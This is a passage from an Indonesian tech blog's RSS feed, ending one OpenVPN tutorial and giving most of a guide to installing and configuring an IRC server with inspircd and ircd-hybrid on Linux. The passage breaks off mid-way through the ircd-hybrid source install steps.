ke openvpn server menggunakan file konfigurasi client tersebut, saya mengetikkan perintah berikut:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;sudo&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;openvpn&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;vpn-wil.ovpn&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Sekarang, VM Archlinux saya sebagai client bisa terkoneksi ke VPN server yang berjalan di VM Debian, dapat terlihat dari &lt;em&gt;ip address&lt;/em&gt; dengan &lt;em&gt;interface&lt;/em&gt; tun0 berikut:&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;client to server - openvpn&quot; loading=&quot;lazy&quot; width=&quot;1662&quot; height=&quot;927&quot; src=&quot;/_astro/ss8.KnhsgaZU_ZWz6sh.webp&quot; /&gt;&lt;figcaption&gt;client to server - openvpn&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;
&lt;/section&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;Footnotes&lt;a href=&quot;#footnote-label&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://openvpn.net&quot; target=&quot;_blank&quot;&gt;https://openvpn.net&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-1&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/section&gt;</content:encoded></item><item><title>Create Your Own IRC Server!</title><link>https://shangdi.github.io/posts/tech/ircserver/</link><guid isPermaLink="true">https://shangdi.github.io/posts/tech/ircserver/</guid><description>Do you want to chat via terminal like a hackerman? If so, it&apos;s time to read this because we will create an IRC Server with inspircd &amp; ircd-hybrid.</description><pubDate>Sun, 15 Sep 2024 14:23:53 GMT</pubDate><content:encoded>&lt;p&gt;Salah satu aplikasi &lt;em&gt;chatting&lt;/em&gt; konvensional yang saya sukai adalah IRC (&lt;em&gt;Internet Relay Chat&lt;/em&gt;). IRC ini suka muncul di film-film yang bertemakan hacker ketika aktor digambarkan sedang berkomunikasi. Ya, seperti namanya, IRC jika boleh saya sandingkan adalah seperti aplikasi-aplikasi pengirim pesan (&lt;em&gt;chatting&lt;/em&gt;) saat ini, mungkin Discord yang paling dekat. Kenapa Discord? Karena cara kerjanya mirip-mirip menurut saya. Misalnya, kita bisa membuat server dan &lt;em&gt;chatting&lt;/em&gt; dengan orang lain di server yang sama tersebut. Nah, IRC juga demikian, kita bisa memilih satu server tertentu, kemudian masuk ke &lt;em&gt;channel&lt;/em&gt; tertentu, dan memulai chat&lt;sup&gt;&lt;a href=&quot;#user-content-fn-1&quot;&gt;1&lt;/a&gt;&lt;/sup&gt;.&lt;/p&gt;
&lt;p&gt;Berikut saya lampirkan cuplikan film &lt;a href=&quot;https://www.imdb.com/title/tt4158110/&quot; target=&quot;_blank&quot;&gt;Mr Robot&lt;/a&gt; yang menampilkan Elliot sedang chatting dengan timnya (FSOCIETY) via IRC:&lt;/p&gt;


&lt;p&gt;Tapi, kabar baiknya, selain bisa masuk dan ber-&lt;em&gt;chatting&lt;/em&gt; ria di server dan &lt;em&gt;channel&lt;/em&gt; yang sudah ada, kita juga bisa membuat server IRC kita sendiri! WOW! So, di artikel ini, saya sedikit akan berbagi cara membuat server IRC kita sendiri. Tapi, sebelum itu, mari saya sedikit beri &lt;em&gt;preface&lt;/em&gt; bahwa artikel ini terdiri dari 2 bagian utama, yaitu:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Sekilas tentang IRC&lt;/li&gt;
&lt;li&gt;Setup IRC Server&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Langsung ke bagian pertama…&lt;/p&gt;
&lt;section&gt;&lt;h2&gt;Sekilas Tentang IRC&lt;a href=&quot;#sekilas-tentang-irc&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Sebetulnya, apa itu IRC?&lt;/p&gt;&lt;p&gt;IRC atau &lt;em&gt;Internet Relay Chat&lt;/em&gt; merupakan sebuah protokol yang dibuat pada tahun 1988 untuk melakukan pengiriman pesan teks secara &lt;em&gt;realtime&lt;/em&gt; diantara komputer-komputer yang terhubung ke internet. Umumnya, IRC menggunakan sistem &lt;em&gt;chatting&lt;/em&gt; di sebuah grup (atau diistilahkan sebagai &lt;em&gt;channel&lt;/em&gt;), meskipun bisa juga digunakan untuk mengirim pesan orang perorang secara langsung. &lt;sup&gt;&lt;a href=&quot;#user-content-fn-2&quot;&gt;2&lt;/a&gt;&lt;/sup&gt; Ada banyak server IRC public yang bisa kita akses, diantaranya:&lt;sup&gt;&lt;a href=&quot;#user-content-fn-3&quot;&gt;3&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;






















































&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;No&lt;/th&gt;&lt;th&gt;IRC Public Server&lt;/th&gt;&lt;th&gt;URL&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;1&lt;/td&gt;&lt;td&gt;DALnet&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://www.dal.net/server&quot; target=&quot;_blank&quot;&gt;https://www.dal.net/server&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;2&lt;/td&gt;&lt;td&gt;EFNet&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;http://www.efnet.org/?module=servers&quot; target=&quot;_blank&quot;&gt;http://www.efnet.org/?module=servers&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;3&lt;/td&gt;&lt;td&gt;GeekShed&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;http://www.geekshed.net/servers/&quot; target=&quot;_blank&quot;&gt;http://www.geekshed.net/servers/&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;4&lt;/td&gt;&lt;td&gt;IRCnet&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;http://www.ircnet.info/servers&quot; target=&quot;_blank&quot;&gt;www.ircnet.info/servers&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;5&lt;/td&gt;&lt;td&gt;Libera.Chat&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://libera.chat/&quot; target=&quot;_blank&quot;&gt;https://libera.chat/&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;6&lt;/td&gt;&lt;td&gt;OFTC&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://webchat.oftc.net/&quot; target=&quot;_blank&quot;&gt;https://webchat.oftc.net/&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;7&lt;/td&gt;&lt;td&gt;QuakeNet&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://www.quakenet.org/servers&quot; target=&quot;_blank&quot;&gt;https://www.quakenet.org/servers&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;8&lt;/td&gt;&lt;td&gt;Rizon&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://wiki.rizon.net/index.php?title=Servers&quot; target=&quot;_blank&quot;&gt;https://wiki.rizon.net/index.php?title=Servers&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;9&lt;/td&gt;&lt;td&gt;Undernet&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://www.undernet.org/servers.php&quot; target=&quot;_blank&quot;&gt;https://www.undernet.org/servers.php&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;p&gt;Sebagai ilustrasi saja, berikut adalah ketika saya join ke &lt;em&gt;channel&lt;/em&gt; linux di server Libera:&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;Join ke channel linux di server libera dengan Weechat&quot; loading=&quot;lazy&quot; width=&quot;1080&quot; height=&quot;720&quot; src=&quot;/_astro/gif1.DPyhbQuC_1fplCO.webp&quot; /&gt;&lt;figcaption&gt;Join ke channel linux di server libera dengan Weechat&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Untuk terhubung ke sebuah server IRC, kita memerlukan IRC &lt;em&gt;client&lt;/em&gt;. Ada banyak IRC &lt;em&gt;client&lt;/em&gt; sebetulnya. IRC &lt;em&gt;client&lt;/em&gt; yang pernah saya gunakan ada &lt;a href=&quot;https://irssi.org/&quot; target=&quot;_blank&quot;&gt;irssi&lt;/a&gt; dan &lt;a href=&quot;https://weechat.org/&quot; target=&quot;_blank&quot;&gt;weechat&lt;/a&gt;. Tapi, kalau kalian mau tau lebih banyak terkait IRC &lt;em&gt;client&lt;/em&gt;, berikut juga perbandingan-perbandingannya, bisa dibaca-baca di sini: &lt;a href=&quot;https://en.wikipedia.org/wiki/Comparison_of_IRC_clients&quot; target=&quot;_blank&quot;&gt;https://en.wikipedia.org/wiki/Comparison_of_IRC_clients&lt;/a&gt;&lt;/p&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;Setup IRC Server&lt;a href=&quot;#setup-irc-server&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Nah, sekarang, kita masuk ke inti artikel ini, yaitu membuat sebuah IRC server. Kita bisa menggunakan 2 alternatif cara (yang saya tahu), yaitu dengan &lt;em&gt;package&lt;/em&gt; IRC Daemon &lt;a href=&quot;https://www.inspircd.org/&quot; target=&quot;_blank&quot;&gt;&lt;strong&gt;inspird&lt;/strong&gt;&lt;/a&gt; atau &lt;a href=&quot;http://www.ircd-hybrid.org/&quot; target=&quot;_blank&quot;&gt;&lt;strong&gt;ircd-hybrid&lt;/strong&gt;&lt;/a&gt;. Kita akan bahas satu persatu…&lt;/p&gt;&lt;section&gt;&lt;h3&gt;inspircd&lt;a href=&quot;#inspircd&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Pertama-tama, kita perlu meng-&lt;em&gt;install&lt;/em&gt; paket &lt;strong&gt;&lt;code&gt;inspircd&lt;/code&gt;&lt;/strong&gt; terlebih dahulu…&lt;/p&gt;




















&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Distro&lt;/th&gt;&lt;th&gt;Command&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Debian/Ubuntu&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;&lt;code&gt;sudo apt install inspircd&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Arch Linux&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;&lt;code&gt;sudo yay -Sy inspircd&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Opensuse&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;&lt;code&gt;sudo zypper install inspircd&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;blockquote&gt;&lt;p&gt;&lt;strong&gt;Notes:&lt;/strong&gt;
Perlu dicatat beberapa hal berikut:&lt;/p&gt;&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;inspircd&lt;/code&gt;&lt;/strong&gt; tidak ada di repo utama Archlinux, jadi meng-&lt;em&gt;install&lt;/em&gt;-nya harus dari &lt;em&gt;Arch User Repository&lt;/em&gt; (AUR).&lt;/li&gt;
&lt;li&gt;Fedora juga tidak menyediakan &lt;strong&gt;&lt;code&gt;inspircd&lt;/code&gt;&lt;/strong&gt; di repo-nya, jadi, kita perlu meng-&lt;em&gt;compile&lt;/em&gt;-nya langsung dari &lt;em&gt;source code&lt;/em&gt; di github.&lt;/li&gt;
&lt;/ol&gt;&lt;/blockquote&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;Instalasi &lt;strong&gt;&lt;code&gt;inspircd&lt;/code&gt;&lt;/strong&gt; via Github&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;Pertama, kita &lt;em&gt;clone&lt;/em&gt; dulu repo-nya : &lt;sup&gt;&lt;a href=&quot;#user-content-fn-4&quot;&gt;4&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;wget&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&quot;https://github.com/inspircd/inspircd/archive/refs/tags/[VERSION].tar.gz&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Ganti [VERSION] ke versi terbaru. Bisa dicek ke github-nya langsung: &lt;a href=&quot;https://github.com/inspircd/inspircd/releases&quot; target=&quot;_blank&quot;&gt;https://github.com/inspircd/inspircd/releases&lt;/a&gt;&lt;/p&gt;&lt;p&gt;&lt;em&gt;Extract&lt;/em&gt;:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;tar&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-xvf&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&quot;./inspircd-[VERSION].tar.gz&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Masuk ke direktori inspircd.&lt;/p&gt;&lt;p&gt;Execute binary file &lt;code&gt;configure&lt;/code&gt;:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;./configure&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Mulai proses &lt;em&gt;compile&lt;/em&gt;:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;make&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;install&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;Install inspircd via Github&quot; loading=&quot;lazy&quot; width=&quot;1008&quot; height=&quot;672&quot; src=&quot;/_astro/gif2.D_4Go_1c_Z25l7yE.webp&quot; /&gt;&lt;figcaption&gt;Install inspircd via Github&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Dan tunggu prosesnya hingga selesai…&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Setelah instalasi berhasil, berikutnya, kita perlu mengkonfigurasi beberapa hal. Edit file konfigurasinya di &lt;strong&gt;&lt;code&gt;/etc/inspircd/&lt;/code&gt;&lt;/strong&gt;:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;sudo&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;su&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;cd&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;/etc/inspircd&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;ls&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-l&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;inspircd directory&quot; loading=&quot;lazy&quot; width=&quot;459&quot; height=&quot;205&quot; src=&quot;/_astro/ss1.D-ZWaUzp_Zh4NqS.webp&quot; /&gt;&lt;figcaption&gt;inspircd directory&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Di sana ada 2 file:&lt;/p&gt;&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;inspircd.conf&lt;/strong&gt;: file konfigurasi inspircd.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;inspircd.mord&lt;/strong&gt;: file konfigurasi MOTD (Message of The Day) inspircd yang akan ditampilkan ketika pertama kali masuk ke server.&lt;/li&gt;
&lt;/ol&gt;&lt;p&gt;Kita bebas untuk mengubah file &lt;strong&gt;&lt;code&gt;inspircd.motd&lt;/code&gt;&lt;/strong&gt;, tapi yang akan saya &lt;em&gt;highlight&lt;/em&gt; di sini adalah file konfigurasi &lt;strong&gt;&lt;code&gt;inspircd.conf&lt;/code&gt;&lt;/strong&gt;. Agar IRC server kita bisa diakses oleh komputer lain, kita perlu mengganti &lt;em&gt;ip address&lt;/em&gt; di baris &lt;em&gt;bind address&lt;/em&gt; sesuai dengan &lt;em&gt;ip address&lt;/em&gt; jaringan lokal / publik kita (dalam hal ini saya gunakan ip lokal):&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;mengganti ip address&quot; loading=&quot;lazy&quot; width=&quot;561&quot; height=&quot;661&quot; src=&quot;/_astro/ss2.CQnlc7EG_Z1n1dQp.webp&quot; /&gt;&lt;figcaption&gt;mengganti ip address&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;blockquote&gt;&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt;&lt;br /&gt;
Perhatikan juga &lt;em&gt;server name&lt;/em&gt;-nya (dalam hal ini saya biarkan &lt;em&gt;default&lt;/em&gt;, yaitu &lt;strong&gt;irc.local&lt;/strong&gt;, karena akan kita gunakan nanti ketika akan masuk ke server ini.)&lt;/p&gt;&lt;/blockquote&gt;&lt;p&gt;Setelah itu, kita bisa memastikan inspircd sudah &lt;em&gt;running&lt;/em&gt;:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;sudo&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;systemctl&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;status&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;inspircd&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;check inspircd&quot; loading=&quot;lazy&quot; width=&quot;1011&quot; height=&quot;431&quot; src=&quot;/_astro/ss3.IbLmT_m4_Y1eh2.webp&quot; /&gt;&lt;figcaption&gt;check inspircd&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Kalau belum jalan, tinggal jalankan:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;sudo&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;systemctl&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;start&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;inspircd&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Kita bisa memastikan juga inspircd sudah berjalan dengan melihat port yang aktif:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;sudo&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;netstat&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-tupln&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;inspircd is running on port 6667&quot; loading=&quot;lazy&quot; width=&quot;845&quot; height=&quot;265&quot; src=&quot;/_astro/ss8.DDzX6tN0_1Lz5ne.webp&quot; /&gt;&lt;figcaption&gt;inspircd is running on port 6667&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Kalau inspircd sudah &lt;em&gt;running&lt;/em&gt;, itu artinya, kita sudah berhasil membuat server IRC kita sendiri.&lt;/p&gt;&lt;p&gt;Berikut adalah demonstrasi saya masuk ke IRC server yang saya &lt;em&gt;install&lt;/em&gt; di Debian2 dari Debian1. Dengan kata lain, IRC server saya adalah Debian2, sementara &lt;em&gt;client&lt;/em&gt;-nya adalah Debian1.&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;Connect to IRC Server (inspircd)&quot; loading=&quot;lazy&quot; width=&quot;1392&quot; height=&quot;800&quot; src=&quot;/_astro/gif3.CyxyGguS_1sCSmC.webp&quot; /&gt;&lt;figcaption&gt;Connect to IRC Server (inspircd)&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;ircd-hybrid&lt;a href=&quot;#ircd-hybrid&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Mula-mula, kita &lt;em&gt;install&lt;/em&gt; dulu &lt;em&gt;package&lt;/em&gt;-nya:&lt;/p&gt;
















&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Distro&lt;/th&gt;&lt;th&gt;Command&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Debian/Ubuntu&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;&lt;code&gt;sudo apt install ircd-hybrid&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Arch Linux&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;&lt;code&gt;sudo yay -Sy ircd-hybrid&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;blockquote&gt;&lt;p&gt;&lt;strong&gt;Notes:&lt;/strong&gt;
Perlu dicatat beberapa hal berikut:&lt;/p&gt;&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;ircd-hybrid&lt;/code&gt;&lt;/strong&gt; tidak ada di repo utama Archlinux, jadi meng-&lt;em&gt;install&lt;/em&gt;-nya harus dari &lt;em&gt;Arch User Repository&lt;/em&gt; (AUR).&lt;/li&gt;
&lt;li&gt;Fedora dan Opensuse juga tidak menyediakan &lt;strong&gt;&lt;code&gt;ircd-hybrid&lt;/code&gt;&lt;/strong&gt; di repo-nya, jadi, kita perlu meng-&lt;em&gt;compile&lt;/em&gt;-nya langsung dari &lt;em&gt;source code&lt;/em&gt; di github.&lt;/li&gt;
&lt;/ol&gt;&lt;/blockquote&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;Instalasi &lt;strong&gt;&lt;code&gt;ircd-hybrid&lt;/code&gt;&lt;/strong&gt; via Github&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;Sebelum mulai instalasi, pastikan kita sudah memenuhi beberapa persyaratan berikut:&lt;sup&gt;&lt;a href=&quot;#user-content-fn-5&quot;&gt;5&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;&lt;ul&gt;
&lt;li&gt;Autoconf 2.71 or higher&lt;/li&gt;
&lt;li&gt;Automake 1.16.5 or higher&lt;/li&gt;
&lt;li&gt;C compiler (e.g., GCC)&lt;/li&gt;
&lt;li&gt;Yacc&lt;/li&gt;
&lt;li&gt;Lex with noyywrap support&lt;/li&gt;
&lt;li&gt;Libtool&lt;/li&gt;
&lt;li&gt;GNU make or a compatible make utility&lt;/li&gt;
&lt;/ul&gt;&lt;p&gt;Kemudian unduh &lt;em&gt;source code&lt;/em&gt;-nya:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;wget&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;https://github.com/ircd-hybrid/ircd-hybrid/archive/8.2.8.tar.gz&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;&lt;em&gt;Extract&lt;/em&gt;:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal 